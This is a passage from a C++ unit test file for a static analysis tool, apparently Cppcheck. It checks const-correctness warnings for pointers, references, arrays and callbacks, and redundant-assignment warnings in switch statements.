}\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n 